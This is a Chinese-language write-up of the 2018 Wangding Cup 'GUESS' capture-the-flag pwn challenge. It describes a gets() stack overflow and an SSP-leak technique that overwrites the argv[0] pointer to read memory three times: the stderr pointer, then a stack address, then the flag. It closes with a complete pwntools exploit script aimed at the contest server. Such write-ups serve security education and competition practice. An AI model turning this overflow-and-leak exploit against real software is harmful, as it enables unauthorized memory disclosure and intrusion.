网鼎杯2018第一场预选赛 GUESS 题解

前言

2018网鼎杯第一场预选赛GUESS 题解

程序保护


未开启PIE,存在canary

程序功能


程序将flag读取进栈上的缓冲区。通过gets函数要求我们输入flag。通过fork子进程的方式给了我们三次猜测的机会。gets处明显存在栈溢出漏洞。

漏洞利用

gets处存在缓冲区溢出漏洞。但是由于程序没有任何输出函数可以控制。且fork次数只有三次。暴力破解不可行。于是选择ssp leak的方法。当canary验证错误时会进入___stack_chk_fail函数,这个函数会输出第一个命令行参数。

这个命令行参数的指针保存在栈上,我们可以通过gets函数覆盖它。

思路就很明显了。程序给了我们三次任意内存地址读。只要前两次得到flag的地址就可以。flag保存在栈上。
程序同时给了我们libc程序。
第一次泄露:通过bss上的stderr指针得到stderr file结构体的地址。
第二次泄露:在stderr的地址附近有一处保存有栈的地址且与flag地址接近(本地调试通过IDA的字符匹配找到)
第三次:通过第二次泄露的栈地址+与flag间偏移泄露flag。

脚本

from pwn import *
p=remote('106.75.90.160',9999)
context(log_level='debug')
p.recvuntil('Please type your guessing flag')
payload='a'*0x128+p64(0x6020c0)
p.sendline(payload)
p.recvuntil('***: ')
z=u64(p.recvuntil(chr(0x7f))+chr(0)*2)
zz=z+0x3DB8
print hex(zz)
p.recvuntil('Please type your guessing flag')
payload='a'*0x128+p64(zz)
p.sendline(payload)
p.recvuntil('***: ')
z=u64(p.recvuntil(chr(0x7f))+chr(0)*2)
print hex(z)
zz=z-0x158
p.recvuntil('Please type your guessing flag')
payload='a'*0x128+p64(zz)
p.sendline(payload)
p.interactive()